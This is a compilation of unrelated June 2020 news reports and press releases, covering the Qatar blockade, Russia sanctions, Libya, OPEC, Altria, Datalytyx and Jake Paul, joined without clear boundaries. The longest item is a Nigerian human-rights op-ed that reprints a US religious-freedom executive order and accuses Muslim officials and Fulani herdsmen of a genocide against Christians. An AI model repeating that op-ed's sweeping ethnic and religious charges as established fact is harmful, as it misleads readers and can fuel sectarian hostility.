It has been three years since an air, land and sea blockade was imposed on Qatar by Gulf countries Saudi Arabia, the UAE and Bahrain, as well as Egypt.

It has been three years since an air, land and sea blockade was imposed on Qatar by fellow Gulf Cooperation Council (GCC) members Saudi Arabia, the United Arab Emirates (UAE) and Bahrain, as well as non-GCC member Egypt.

The US is now pushing Saudi Arabia and the UAE to lift a ban on Qatar Airways using their airspace.

But despite intensified efforts to de-escalate tensions, there is no end in sight to the worst political crisis the region has ever seen.

Al Jazeeras Hashem Ahelbarra reports.
EP Global Opportunities Trust plc (the "Company")

Total Voting Rights

As a result of the purchase of 25,000 Ordinary 1p shares placed into Treasury on 4 June 2020 and in conformity with Disclosure Guidance and Transparency Rule 5.6.1A, the issued share capital and voting rights of the Company are as follows:

Class of share Total number of shares in circulation Number of voting rights attached to each share Total number of voting rights of shares in circulation Number of shares held in treasury (carrying no voting rights attached until issued) Total number of shares in issue Ordinary 1p Shares 40,312,725 1 40,312,725 24,196,917 64,509,642

The above total voting rights figure may be used by shareholders as the denominator for the calculations by which they will determine whether they are required to notify their interest in EP Global Opportunities Trust plc under the FCA's Disclosure Guidance and Transparency Rules.

5 June 2020

LEI: 2138005T5CT5ITZ7ZX58

Enquiries:



Kenneth Greig

Edinburgh Partners AIFM Limited

Tel: 0131 270 3800

The Company's registered office address is:

27-31 Melville StreetEdinburgh

EH3 7JF
REUTERS

LONDONA corrupt former police officer who was caught working with Trump Tower lawyer Natalia Veselnitskaya has revealed in a Swiss court how Russias complex foreign influence campaign targets justice systems in Western countries.

The former consultant to the Swiss Federal Prosecutor's Office was sacked and convicted after his entanglement with Veselnitskaya and the Russian prosecutor generals office was exposed. He reportedly told a court in Switzerland this week that he discussed a high-profile corruption case against Russia with Russian officials during an all-expenses-paid hunting trip to Siberia.

On the visit to the spectacular Kamchatka Peninsula and Lake Baikal, the official, who is identified only as Victor K., reportedly admitted that he spent a week fishing, enjoying the rugged countryside, and hunting for bear, including from a helicopter, with officials from the Russian prosecutor generals office.

Victor K. told the appeals court Tuesday that he had conferred with the Russian officials on the trip about the high-profile Magnitsky case, which he was supposed to be investigating. The $230 million fraud against the Russian people was uncovered by Sergei Magnitsky, who was subsequently detained and beaten by Russian officials, who left him to die in a prison cell.

The case led to American sanctions against Russia, which were signed into law by President Barack Obama in 2012, after a campaign by U.S.-born financier Bill Browder. While the Swiss authorities originally froze millions connected to the Magnitsky case that flowed through Switzerland nine years ago, the case has stalled.

The appeals court ruled Friday that Victor K. was guilty of improperly accepting the hunting trip, but it dismissed the fine that had been imposed by a lower court.

The decision holds; he received undue benefit from the Russians, but its just a slap on the wrist for a serious crime, Browder told The Daily Beast. The fact that the Swiss discovered a Russian mole and he bears effectively no consequence is pretty alarming, and makes Switzerland look like a banana republic.

Story continues

According to a lawyer who attended the hearing, Victor K. told the court that he had spent three or four hours discussing the Magnitsky case with the Russian officials. The lawyers transcript also said he told his bosses in the Swiss Federal Prosecutors Office that they should drop the case, because they would never be able to follow the money trail, which he likened to finding the source of several bottles of wine once they had all been poured into the same barrel.

On a previous trip to Moscow, Swiss court papers revealed that Victor K. met Veselnitskaya, the lawyer responsible for the notorious Trump Tower meeting with Donald Trump Jr., Paul Manafort, and Jared Kushner.

Victor K., who was responsible for working on investigations into the Swiss financial dealing of the Russian mafia and oligarchs for decades, had met Veselnitskayas collaborator, Russian Deputy Attorney General Saak Albertovich Karapetyan, in Geneva, Zurich, and Moscow without the knowledge of his superiors, according to Swiss court papers. Karapetyan was one of the members of the delegation on the Siberian hunting retreat.

Novaya Gazeta reported last month that Victor K. mysteriously continued to take trips to Russia after he stopped working for the Swiss authorities.

Read more at The Daily Beast.

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Remember when your home was the place you went to relax after a long day at work? Now, that idea seems as quaint as June Cleavers habit of donning pearls and high heels to vacuum before Ward returned from the office. Since the COVID-19 pandemic has forced millions of people to hunker down, homes have become the place where we work, exercise, educate our children, enjoy (virtual) happy hour and catch a movie. And that trend is likely to linger long after the pandemic is under control, according to a forecast by Euromonitor International, a global market research firm. Euromonitor International released its forecast of the most significant trends for 2020 at the beginning of the year but felt compelled to update it after COVID-19 upended the way we live and work. Some of the trends in the firms original forecast have accelerated, particularly the development of what Euromonitor calls the multifunctional home. While many young professionals were already moving away from traditional workplace culture, the pandemic forced millions of others to turn their homes into remote offices. The shift is expected to linger long after its safe to leave the house, says Alison Angus, head of lifestyles at Euromonitor.

Managers that resisted telework have discovered that employees are not, in fact, watching Law and Order reruns when they should be working, and many employees have discovered that they dont miss going into an office every day. A Gallup survey conducted in April found that three out of five workers who have been working from home during the pandemic would like to continue working remotely even after public health restrictions are lifted. The shift to teleworking for large numbers of workers has far-reaching implications for everything from coffee shops to retail sales. For a remote workforce, every day is casual Friday, which could lead to more demand for comfortable clothes and a decline in sales of suits and dresses. If employers decide they dont need as much office space, office rents could decline, depressing earnings of commercial real estate firms. Even after they reopen, restaurants that rely on traffic from office workers could also see a decline in business, Angus says. Friendly robots. In a moment captured on a widely shared video earlier this year, a man in Cyprus enlisted a drone to walk his dog. While most of us are expected to continue walking our pets ourselves for the foreseeable future, consumers are increasingly turning to robots, drones and other remote technologies to provide contactless delivery of products and services, Euromonitor says. The pandemic could propel robots into the mainstream, moving them from novelty to essential, Angus says. Consumers have also increased their use of smart speakers, voice control and other technologies that reduce the need to touch potentially contaminated surfaces.
The United States states that sanctions against Russia will remain in place until Russia fully implements its Minsk commitments and returns control of Crimea to Ukraine.

U.S. Ambassador to the OSCE James S. Gilmore said this during an online meeting of the OSCE Permanent Council in Vienna on Thursday, June 4, an Ukrinform correspondent reports.

"We join our European and other partners in affirming that our Minsk-related sanctions against Russia will remain in place until Russia fully implements its Minsk commitments. The Crimea-related sanctions will remain in place until Russia returns full control of the peninsula to Ukraine," he said.

The ambassador called on Russia to end its campaign of oppression in Crimea, return full control of the peninsula to Ukraine, and release all Ukrainian political prisoners.

"We are also deeply concerned by reports that Russia detained a member of the Ukrainian military on Ukrainian soil in Crimea on June 3 one person. We urge Russia to end its campaign of oppression in Crimea, return full control of the peninsula to Ukraine, immediately release all Ukrainians it has unjustly imprisoned, and withdraw its forces and materiel from eastern Ukraine," Gilmore noted.

According to new monitoring data released this week by the Crimea Human Rights Group, occupation authorities have prosecuted over 100 young Crimean men on draft evasion charges for refusing to serve in the Army of the Occupier.

"The United States fully supports Ukraines sovereignty, independence, and territorial integrity within its internationally recognized borders, including its territorial waters. We do not, nor will we ever, recognize Russias purported annexation of Crimea," the U.S. ambassador stressed.

ish
[June 05, 2020] Altria Announces Five Million Dollar Donation to Fight Racial Inequality

Altria Group, Inc. (Altria) (NYSE: MO) today announces an initial commitment of five million dollars to address systemic racism faced by Black Americans and advance social and economic equity. These funds will be used to support national and local organizations working across the United States and in our operating communities, as well as provide immediate support to small businesses in our communities impacted by recent vandalism. This commitment is incremental to Altria's planned 2020 corporate giving. "These are difficult times, and we must find ways to embrace our differences, address underlying systemic issues and move forward as a country," said Billy Gifford, Altria's Chief Executive Officer. "We know we don't have all the answers, but we will learn by listening to our diverse colleagues, community members and others as we seek progress within our company and the places we call home." Altria will also launch a month-long employee giving campaign which will match on a two-for-one basis all employee donations. Recipient organizations will be selected by Unifi, Altria's Black Employee Resource Group (ERG) and other ERGs. Altria also announced a company-wide paid "Day of Healing" on Juneteenth (June 19th) to allow employees ime for personal reflection and healing. Altria is also voicing support for removing confederate monuments in its hometown of Richmond, Va., once the Capital of the Confederacy.



About Altria's Corporate Giving Through its corporate giving programs, Altria helps solve societal issues that are priorities for our businesses, communities and employees. We invest in leading nonprofits that can drive sustained outcomes. We focus our corporate giving on positive youth development; employee giving and volunteerism; workforce and economic growth; environment; inclusive community and culture and employee giving and volunteerism. Since 2008, Altria has invested more than a half-billion dollars in its communities.

Altria's Profile Altria's wholly owned subsidiaries include Philip Morris USA Inc. (PM USA), U.S. Smokeless Tobacco Company LLC (USSTC), John Middleton Co. (Middleton), Sherman Group Holdings, LLC and its subsidiaries (Nat Sherman), Ste. Michelle Wine Estates Ltd. (Ste. Michelle) and Philip Morris Capital Corporation (PMCC). Altria owns an 80% interest in Helix Innovations LLC (Helix). Altria holds equity investments in Anheuser-Busch InBev SA/NV (ABI), JUUL Labs, Inc. (JUUL) and Cronos Group Inc. (Cronos). The brand portfolios of Altria's tobacco operating companies include Marlboro, Black & Mild, Copenhagen, Skoal and on!. Ste. Michelle produces and markets premium wines sold under various labels, including Chateau Ste. Michelle, 14 Hands and Stag's Leap Wine Cellars, and it imports and markets Antinori, Champagne Nicolas Feuillatte and Villa Maria Estate products in the United States. Trademarks and service marks related to Altria referenced in this release are the property of Altria or its subsidiaries or are used with permission. More information about Altria is available at altria.com and on the Altria Investor app, or follow Altria on Twitter (News - Alert), Facebook and LinkedIn. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005256/en/

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ISTANBUL - The forces under the UN-backed Government of National Accord (GNA) and Prime Minister Fayez al-Serraj on Friday retook Tarhuna, the strategic stronghold of Khalifa Haftar located 80 km south of Tripoli.

"Our forces are combing the city as no resistance is seen from Haftar's militias after their withdrawal from there," Mustafa al-Majei, a spokesman for the Burkan Al-Ghadab (Volcano of Rage) Operation, told Anadolu Agency.

Majei added that "after combing Tarhuna, we will activate the national security directorate in the city along with the other security services there."

"This will take place in coordination with the Interior Ministry," he added.

Tarhuna was a major focal point for supply lines of Haftar's militias from Al-Jufra airbase.

Majai noted that Sirte, Jufra and the oil wells in the south were the targets that would be focused on now.

Meanwhile, while Serraj was in Ankara to meet with Turkish president Recep Tayyip Erdogan, government forces announced they had taken control of ''all administrative borders of the capital'' of Libya.
BAKU, Azerbaijan, June 5

By Tamilla Mammadova - Trend:

Georgian President Salome Zourabichvili held a telephone conversation with Albanian President Ilir Meta, during which the parties discussed a strategy for gradually opening the economy in the post-pandemic period and the possibility of direct flights, Trend reports citing press office of the President of Georgia.

As reported, the parties also discussed the process of European integration of Georgia and Albania. Zourabichvili congratulated Ilir Meta on the start of negotiations on Albania's EU membership.

The presidents emphasized the importance of cooperation between the countries during the crisis. It was stressed that Georgia and Albania must find ways to cooperate on global issues.

The heads of state also discussed prospects for deepening cooperation in the tourism sector and the urgent issue of a safe tourist corridor.

Diplomatic relations between Georgia and the Republic of Albania were established on 8 July 1993.

---

Follow the author on Twitter: @Mila61979356
By Trend

OPEC+ has encouraging signs of rising conformity, said Mohammad Sanusi Barkindo, OPEC Secretary General, at the 7th Technical Meeting of OPEC and non-OPEC Countries under the DoC, 4 June 2020, via videoconference, Trend reports.

Production adjustments as agreed at the 9th and 10th (Extraordinary) OPEC and non-OPEC Ministerial Meetings on 9 and 12 April 2020 have set us on a course to aid in restoring stability to an energy market that was in drastic need of it,

noted OPECs secretary general.

He recalled that downward adjustments in overall crude oil production by 9.7 mb/d started on 1 May 2020, for an initial period of two months, with a subsequent adjustment for 6 months of 7.7 mb/d, followed by a 5.8 mb/d adjustment for a period of 16 months, to 30 April 2022.

With the DoC decision as an anchor, the market-driven shutdown of millions of barrels of production in North America, and further commitments from several DoC participants, the oil market has started to veer back on course. The emerging production profile shows encouraging signs of rising conformity by DoC countries, at great cost to their local industries and countries. This speaks volumes about the dedication of our group, said Barkindo.

He pointe out that a month after the implementation began of the largest-ever internationally coordinated production adjustments, oil has responded swiftly and positively.

The physical market has tightened and prices have recovered somewhat. Storage tanks are not filling as rapidly, and previously wide differentials between near and forward months are narrowing, said OPEC secretary general.

He pointed out that demand is already rebounding in some of the worlds biggest energy consumers.

But we cannot be complacent. The recovery remains tentative, and continued rebalancing of shattered markets will continue to require both a strong recovery in demand and the determined implementation of pledges made.
In the heat of the current global campaign and protests against systemic and deeply entrenched racism in the United States of America and other parts of the World which came once again to the limelight with the killing by the White police officer Derek Chauvin in Minneapolis, Minnesota of the 46 year old black man Mr. George Floyd, there was a significant and symbolic event that took place in the White house.

This event with global ramifications which tool place was the signing into law of the Executive order on advancing international religious freedoms by President Donald John Trump.

This momentous occasion was drowned unfortunately by the protests over the killing of the black man in the USA and also the inelegant handling of the aftermath of the huge crises that followed by the United States 45th President did not also help matters thereby relegating the important achievement that is embedded in the Executive Order on advancing international religious freedoms by President Donald John Trump.

Although here in Nigeria, we are also confronting the demon of rape and killings of many teenage girls by their rapists all across the Country and the killings of villagers by the armed Islamists and Fulani herdsmen have escalated, the significance of what President Donald John Trump did around June 2nd 2020 in the imposing complex of White House will forever be a source of encouragement.

There is therefore the need to enlighten the people of Nigeria about the existence of this international persuasive tool that can be relied upon to beat back the increasing threats to lives of religious minorities and Christians in the mostly Moslem North West and the terrorism infested North East of Nigeria which has a significant percentage of Christians even though the Moslems are the majority holding political offices of influence in those states with the exception of only a few.

There is little doubt that the spate of killings orchestrated by the armed Islamists and Fulani herdsmen in places such as Benue, Southern Kaduna State, Plateau, Delta, Enugu, Ebonyi are all motivated by the hatred of religious plurality and the fact that the government of President Muhammadu Buhari has in the last five years concentrated the strategic security and defence positions in the hands of only Moslem Northerners and therefore relegating millions of Christians to the background.

This act of lawlessness has constituted not only a constitutional threat but a huge national security threat because in the last five years the majority of all those who watch over our national security are all virtually drawn from one tribal grouping and one religious group being the Moslem religion which in itself violates section 14(3) of the Nigerian constitution but this scheming out of Christians in the scheme of things in the defence sector has led to the high rate of violent attacks against Christian communities by armed Fulani herdsmen and in some instances the attackers after destroying these communities occupied by force the farms of these villagers who are forced to flee to cities to live in the internally displaced people's camps whilst their ancestral lands are occupied by occupying forces aided by armed security forces mostly controlled and commanded by Moslems.

Ironically, the President Muhammadu Buhari who is Fulani Moslem does not give a damn and is in denial of all these atrocious and murderous killings which he dismissed as mere farmers/ herders crises which is totally incorrect and deceptive.

The following words captures the imminent implosion that may result from the heavily one sided defence team set up by President Muhammadu Buhari: "Skewed appointments into the offices of the Federal Government favouring some and frustrating others, shall bring ruin and destruction to this nation."- Col. Abubakar Umar (retd), former military governor of Kaduna State to President Buhari.

It is no secret that in a lot of places in Northern Nigeria, like Katsina, Kano, Zamfara and adjoining States, Christians are not allowed official plots of land by the state governors to build their places of worship just as young Christian girls are too often forced into conversion and marriages to Moslems.

The worst of these invidious and insidious attacks against Christian communities pale into insignificance when you compared these institutional apartheid policies of some Northern State governments to the physical violence that are now unleashed on Christian communities by armed Fulani herdsmen seeking to displace them from their ancestral homes and the government does nothing.

The Special Adviser to Mr President on Media Femi Adeshina was quoted as asking persons under attacks to give up their lands than to be buried underneath..

That incendiary, callous and insensitive comments made on national television by no other person than the Special Adviser on Media and publicity to Mr President is to say the least a confirmation that government is unwilling to take steps to stop these attacks.

Then coupled with the total domination of Moslems controlling all internal security architectures in Nigeria you can then know that Nigerian Christians need to look towards United States of America for the implementation of this Executive order on advancing international religious freedoms by President Donald John Trump.

The Bishop of Sokoto Mathew Hassan Kukah who hails from Southern Kaduna State whereby Christian communities have faced torrents of violent attacks by jihadists terrorists has also lost a Seminarian to the dastardly criminal acts of terror attacks and genocide of Christians in Northern Nigeria.

The following was the speech Bishop Mathew Hassan Kukah read at the burial of the Seminarian Michael killed by armed Fulani herdsmen recently. Bishop Kukah wrote thus: "Nigeria needs to pause for a moment and think. No one more than the President of Nigeria, Major General Muhammadu Buhari who was voted for in 2015 on the grounds of his own promises to rout Boko Haram and place the country on an even keel. In an address at the prestigious Policy Think Tank, Chatham House in London, just before the elections, Major General Buhari told his audience: I as a retired General and a former Head of State have always known about our soldiers. They are capable and they are well trained, patriotic, brave and always ready to do their duty. If am elected President, the world will have no reason to worry about Nigeria. Nigeria will return to its stabilizing role in West Africa. We will pay sufficient attention to the welfare of our soldiers in and out of service. We will develop adequate and modern arms and ammunition. We will improve intelligence gathering and border patrols to choke Boko Harams financial and equipment channels. We will be tough on terrorism and tough on its root causes by initiating a comprehensive economic development and promoting infrastructural developmentwe will always act on time and not allow problems to irresponsibly fester. And I, Muhammadu Buhari, will always lead from the front.

"There is no need to make any further comments on this claim. No one in that hall or anywhere in Nigeria doubted the President who ran his campaign on a tank supposedly full of the fuel of integrity and moral probity. No one could have imagined that in winning the Presidency, General Buhari would bring nepotism and clannishness into the military and the ancillary Security Agencies, that his government would be marked by supremacist and divisive policies that would push our country to the brink. This President has displayed the greatest degree of insensitivity in managing our countrys rich diversity. He has subordinated the larger interests of the country to the hegemonic interests of his co-religionists and clansmen and women. The impression created now is that, to hold a key and strategic position in Nigeria today, it is more important to be a northern Muslim than a Nigerian.

Bishop Mathew Hassan Kukah affirmed: "The persecution of Christians in northern Nigeria is as old as the modern Nigerian state. Their experiences and fears of northern, Islamic domination are documented in the Willinks Commission Report way back in 1956. It was also the reason why they formed a political platform called, the Non-Muslim League. All of us must confess in all honesty that in the years that have passed, the northern Muslim elite has not developed a moral basis for adequate power sharing with their Christian co-regionalists. We deny at our own expense. By denying Christians lands for places of worship across most of the northern states, ignoring the systematic destruction of churches all these years, denying Christians adequate recruitment, representation and promotions in the State civil services, denying their indigenous children scholarships, marrying Christian women or converting Christians while threatening Muslim women and prospective converts with death, they make building a harmonious community impossible. Nation building cannot happen without adequate representation and a deliberate effort at creating for all members a sense, a feeling, of belonging, and freedom to make their contributions. This is the window that the killers of Boko Haram have exploited and turned into a door to death. It is why killing Christians and destroying Christianity is seen as one of their key missions."

From series of internet sources we were reminded that last year over Christmas, Islamic State Beheaded 11 Nigerian Christians. Shocking news reports with in depth analysis from the BBC on the ideology that is intent on creating a genocide in Nigeria.

Relatedly a parliamentary debate held 18 months ago in Great Britain contained the warnings of systematic persecution and horrific executions, abductions, and an unfolding genocide in Nigeria that have been wantonly ignored. These terrible executions in Nigeria will be a first test of how the UKs Foreign Office and Aid programmes will be deployed to provide substance to Boris Johnsons very welcome commitment to end such barbarism., says a foreign affairs observer in Great Britain.

The BBC and other news outlets have provided shocking news reports with in depth analysis from the ideology that is intent on creating a genocide in Nigeria.

The reporter then asserted that perhaps this will finally wake up officials in the UKs Foreign Office and in the Department for International Development who insist on saying that Nigerias killings are overwhelmingly a result of climate change, loss of grazing land and poverty.

These may all be factors but to ignore the role of a ferocious ideology is absurd, self-deceiving, wishful thinking. Climate change didnt behead these innocent people whose only crime was their Christian faith.

The Prime Minister has rightly said that In light of mounting evidence that Christians suffer the most widespread persecution We will use the UKs global reach and programme funding to improve the lives of persecuted people. And that We will do everything possible to champion these freedoms. We are determined to use the tools of British diplomacy in this cause, including our permanent seat on the UN Security Council.

These terrible executions in Nigeria will be a first test of how the UKs Foreign Office and Aid programmes will be deployed to provide substance to Boris Johnsons very welcome commitment.

Whilst Great Britain still contemplates what to do to stop the persecutions of Christians in Nigeria, the United States of America may have come to the rescue of millions of Christians facing extinction under the watch of a President who gave all national defence positions in Nigeria to Moslems and therefore this one sided defence team are looking the other way as armed Fulani herdsmen kill thousands of Christians and not one killer is behind bars in the last five years. Below are the contents of the Executive order.

President Donald John Trump said the Executive order on advancing international religious freedoms by was done by the authority vested in him as President by the Constitution and the laws of the United States of America, it is hereby ordered as follows:

Section 1. Policy. (a) Religious freedom, Americas first freedom, is a moral and national security imperative. Religious freedom for all people worldwide is a foreign policy priority of the United States, and the United States will respect and vigorously promote this freedom. As stated in the 2017 National Security Strategy, our Founders understood religious freedom not as a creation of the state, but as a gift of God to every person and a right that is fundamental for the flourishing of our society.

(b) Religious communities and organizations, and other institutions of civil society, are vital partners in United States Government efforts to advance religious freedom around the world. It is the policy of the United States to engage robustly and continually with civil society organizations  including those in foreign countries  to inform United States Government policies, programs, and activities related to international religious freedom.

Sec. 2. Prioritization of International Religious Freedom. Within 180 days of the date of this order, the Secretary of State (Secretary) shall, in consultation with the Administrator of the United States Agency for International Development (USAID), develop a plan to prioritize international religious freedom in the planning and implementation of United States foreign policy and in the foreign assistance programs of the Department of State and USAID.

Sec. 3. Foreign Assistance Funding for International Religious Freedom. (a) The Secretary shall, in consultation with the Administrator of USAID, budget at least $50 million per fiscal year for programs that advance international religious freedom, to the extent feasible and permitted by law and subject to the availability of appropriations. Such programs shall include those intended to anticipate, prevent, and respond to attacks against individuals and groups on the basis of their religion, including programs designed to help ensure that such groups can persevere as distinct communities; to promote accountability for the perpetrators of such attacks; to ensure equal rights and legal protections for individuals and groups regardless of belief; to improve the safety and security of houses of worship and public spaces for all faiths; and to protect and preserve the cultural heritages of religious communities.

(b) Executive departments and agencies (agencies) that fund foreign assistance programs shall ensure that faith-based and religious entities, including eligible entities in foreign countries, are not discriminated against on the basis of religious identity or religious belief when competing for Federal funding, to the extent permitted by law.

Sec. 4. Integrating International Religious Freedom into United States Diplomacy. (a) The Secretary shall direct Chiefs of Mission in countries of particular concern, countries on the Special Watch List, countries in which there are entities of particular concern, and any other countries that have engaged in or tolerated violations of religious freedom as noted in the Annual Report on International Religious Freedom required by section 102(b) of the International Religious Freedom Act of 1998 (Public Law 105-292), as amended (the Act), to develop comprehensive action plans to inform and support the efforts of the United States to advance international religious freedom and to encourage the host governments to make progress in eliminating violations of religious freedom.

(b) In meetings with their counterparts in foreign governments, the heads of agencies shall, when appropriate and in coordination with the Secretary, raise concerns about international religious freedom and cases that involve individuals imprisoned because of their religion.

(c) The Secretary shall advocate for United States international religious freedom policy in both bilateral and multilateral fora, when appropriate, and shall direct the Administrator of USAID to do the same.

Sec. 5. Training for Federal Officials. (a) The Secretary shall require all Department of State civil service employees in the Foreign Affairs Series to undertake training modelled on the international religious freedom training described in section 708(a) of the Foreign Service Act of 1980 (Public Law 96-465), as amended by section 103(a)(1) of the Frank R. Wolf International Religious Freedom Act (Public Law 114-281).

(b) Within 90 days of the date of this order, the heads of all agencies that assign personnel to positions overseas shall submit plans to the President, through the Assistant to the President for National Security Affairs, detailing how their agencies will incorporate the type of training described in subsection (a) of this section into the training required before the start of overseas assignments for all personnel who are to be stationed abroad, or who will deploy and remain abroad, in one location for 30 days or more.

(c) All Federal employees subject to these requirements shall be required to complete international religious freedom training not less frequently than once every 3 years.

Sec. 6. Economic Tools. (a) The Secretary and the Secretary of the Treasury shall, in consultation with the Assistant to the President for National Security Affairs, and through the process described in National Security Presidential Memorandum-4 of April 4, 2017 (Organization of the National Security Council, the Homeland Security Council, and Subcommittees), develop recommendations to prioritize the appropriate use of economic tools to advance international religious freedom in countries of particular concern, countries on the Special Watch List, countries in which there are entities of particular concern, and any other countries that have engaged in or tolerated violations of religious freedom as noted in the report required by section 102(b) of the Act. These economic tools may include, as appropriate and to the extent permitted by law, increasing religious freedom programming, realigning foreign assistance to better reflect country circumstances, or restricting the issuance of visas under section 604(a) of the Act.

(b) The Secretary of the Treasury, in consultation with the Secretary of State, may consider imposing sanctions under Executive Order 13818 of December 20, 2017 (Blocking the Property of Persons Involved in Serious Human Rights Abuse or Corruption), which, among other things, implements the Global Magnitsky Human Rights Accountability Act (Public Law 114-328).

Sec. 7. Definitions. For purposes of this order:

(a) Country of particular concern is defined as provided in section 402(b)(1)(A) of the Act;

(b) Entity of particular concern is defined as provided in section 301 of the Frank R. Wolf International Religious Freedom Act (Public Law 114-281);

(c) Special Watch List is defined as provided in sections 3(15) and 402(b)(1)(A)(iii) of the Act; and

(d) Violations of religious freedom is defined as provided in section 3(16) of the Act.

Sec. 8. General Provisions. (a) Nothing in this order shall be construed to impair or otherwise affect:

(i) the authority granted by law to an executive department or agency, or the head thereof; or

(ii) the functions of the Director of the Office of Management and Budget relating to budgetary, administrative, or legislative proposals.

(b) This order shall be implemented consistent with applicable law and subject to the availability of appropriations.

(c) This order is not intended to, and does not, create any right or benefit, substantive or procedural, enforceable at law or in equity by any party against the United States, its departments, agencies, or entities, its officers, employees, or agents, or any other person.

HUMAN RIGHTS WRITERS ASSOCIATION OF NIGERIA (HURIWA) hereby charges Christian leaders and stakeholders to compile and document evidences of these mass killings of Christians so these data are sent to the President of the United States of America and the Congress of the United States of America for their immediate actions to ensure that the hundreds of killers who are walking the Nigerian streets freely are arrested, prosecuted and punished for these crimes against humanity.

Emmanuel Onwubiko is the Head of the Human Rights Writers Association of Nigeria and[email protected];www.emmanuelonwubikocom;www.thenigerianinsidernews.com;[email protected]
Datalytyx launches DataOps for Snowflake to revolutionise data pipeline agility and orchestration, while maintaining governance in Snowflake.

Datalytyx today announced an expanded partnership with Snowflake, the Cloud Data Platform, that enables the next generation Datalytyx DataOps for Snowflake platform to be deployed for a 2 week trial on Snowflake. Customers can orchestrate the ingestion of data from many on-premise and cloud platforms via 3rd party data tools, model data easily, automatically test those models as part of their pipelines, launch AI/ML models and enable the consumption of data to deliver immediate stakeholder value.

As a great example, in the midst of the Coronavirus pandemic, BOC, the UK market-leading gas supply company for delivery of healthcare oxygen, has faced unprecedented demand, from equipping Nightingale hospitals to delivering O2 cylinders in homes. Datalytyx have deployed their DataOps for Snowflake platform to help BOC manage their cylinder stock and logistics data, for all types of gases, to increase production efficiency and provide best-in-class customer service.

"Datalytyx said they could get their DataOps Platform in and working within three weeks, and they did. What's more, the capability it's bringing us, to set up, monitor and amend data feeds simply and rapidly, is really quite transformational."

David Galloway, Strategy and Business Insight Manager for BOC

And at wejo, the connected car company, they have been innovating in connected car data to create ground-breaking products and services that revolutionise the way people travel. By generating insights to harness the value of that data, they enable smarter, safer and more sustainable journeys for all. Datalytyx have deployed their DataOps for Snowflake platform to orchestrate multiple Snowflake cloud data platform tenants accessing a single primary Snowflake datastore using Snowflake Secure Data Sharing, plus Jupyter Notebooks and Tableau Online at the front end of each tenant.

"Snowflake and Datalytyx DataOps are at the heart of these new ideas for secure data sharing with our customers, and some of the new geospatial features from Snowflake will enhance this further. An initial proof of concept demonstrated how the Datalytyx thinking would complement our own, to deliver ADEPT Preview faster and more confidently than we could by ourselves. Their DataOps based approach could deliver repeatable, consistent, disposable and secure data environments for our customers in of the time."

Steve Pimblett, CIO and CDO of wejo

Snowflake Chief Technical Evangelist, Kent Graziano said "Organizations today require business agility without any sacrifices to data governance and security. Datalytyx Data Ops for Snowflake can enable customers to leverage the elastic scaling and single, integrated, secured platform benefits of Snowflake, enhanced by the CI/CD automation, audit, and governance features of this new product from Datalytyx to help achieve that business agility."

"Snowflake delivers unique value to our customers." said Justin Mullen, CEO of Datalytyx. "We have been working on the philosophy of DataOps and TrueDataOps with industry pioneers for the last 12 months. TrueDataOps has only become possible because of a number of significant and critical advancements that today are unique to Snowflake's Cloud Data Platform. "Our DataOps for Snowflake platform enables organisations to focus on value-led development of pipelines (e.g. reduce fraud, improve customer experience, increase uptake, identify opportunities, etc.) to produce analytical processes that support and enable the achievement of that value."

About Datalytyx

Datalytyx enables organisations to deliver better data, faster, to their customers. In 2018 Datalytyx started looking at how we could reduce the time to insight, and accelerate the time to value for our customers. In 2019 we have been developing our technologies around the emerging discipline of DataOps (with a clear focus on the true principles of DevOps) and extracting value from volume in IoT data. And in 2020 we publicly shared our DataOps Philosophy (TrueDataOps) and released our DataOps for Snowflake platform supported by our patent-pending IoT Data Compression algorithm, Datalytyx Gallium.

Datalytyx makes it easier for you to do cool, critical, valuable and smart things with data. We provide the technology, skills, and resources to deliver better data faster. Reduced risk, fewer headaches and lower overall cost.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005054/en/

Contacts:

Justin Mullen

+44 7710 482520

justin.mullen@datalytyx.com
Ex-President Jerry John Rawlings on Thursday urged the Electoral Commission (EC) to use consultative approach that binds in stakeholders throughout the electoral process.

He said the EC, the fulcrum of Ghana's multiparty democracy, must be supported and protected by all stakeholders to ensure a free, fair and transparent election and a peaceful society.

That notwithstanding, it is equally important for that revered institution, the EC, to ensure that the processes leading to this year's elections are done in consultation with the stakeholders of the nation to prevent unnecessary suspicion and promote a peaceful and cohesive society, he said.

Former President Rawlings said this in Accra during a virtual address to mark the 41st Anniversary of the June 4 Revolution, on the theme Strengthening the Spirit of Patriotism, Resilience and Integrity in Difficult Times.

He said: An election is an event but, building a democratic, free and peaceful society is a process so the debate surrounding the new voters' register must be thoroughly examined so we do not undermine the successes we have chalked so far, as a nation.

In addition, the constitutional mandate of the EC must be respected by all.

Our democracy is borne out of fire and we must dearly and compassionately protect its flames. One of the key institutional arms of this democratic discourse from pre-colonial to modern day Ghana is the protection of right and choice.

He said Ghanaians must endeavour as a nation to deepen the spirit of the consultative process, equity, respect for the rule of law or in simple terms, the tenet of democracy and multiparty democracy.

While we work towards perfecting our electoral process, I urge you all to pursue and sustain our uniqueness as a country in the democratization process, Former President Rawlings said.

He said the sanctity of the right of choice was not a matter Ghanaians could compromise with.

That sanctity must be preserved at all cost and as we inch towards December let us ensure that the institutional processes are transparent and beyond blemish.

He said freedom and justice were not abstract and that they were was very much related to the sanctity of the right of choice.

He said those who were eligible to exercise that right of choice should not and could not be disenfranchised by dictates that defeat one's right to vote.

Former President Rawlings noted that the sanctity of justice should be preserved and protected with all of us being subject to the practice of what is just as unjust society deepens the inequities that exist.

He said the patriotic zeal that gave birth to June 4 was one that could not be extinguished.

Any attempt to compromise on the ideals of probity, accountability and integrity in our everyday lives is an attempt to snuff out the light that was lit 41 years ago.

Let us honour the memories of those who laid down their lives liberating Ghana, he stated.

---GNA
(Photo : Web Summit/Wiki Commons) Web Summit 2016 - Centre Stage - Nov 9 - Day 2 DSC 3759

Videos showing YouTube star Jake Paul at a looted mall in Scottsdale, Arizona on the evening of May 30, Saturday, have been circulating on social media. This has prompted local police charged the 23-year-old with criminal trespassing and unlawful assembly that show Paul's alleged participation in the looting, according to the New York Times.

The social media influencer's YouTube channel has more than 20 million subscribers. His videographer, Andrew Blue, shared footage of Paul inside the Scottsdale Fashion Square mall with friends at the time of the looting.

Police file misdemeanor charges against YouTuber Jake Paul

Videos posted on Instagram and YouTube show Paul walking through the mall while looters smash the glass of a Sephora and Swarovski stores as well as whack car windows. One video even shows Paul carrying a stolen bottle of vodka.

In a statement, the Scottsdale Police Department said on Thursday, June 4, that based on their investigation, Paul was at the scene "after the protest was declared an unlawful assembly" and the police have ordered protesters to leave the site.

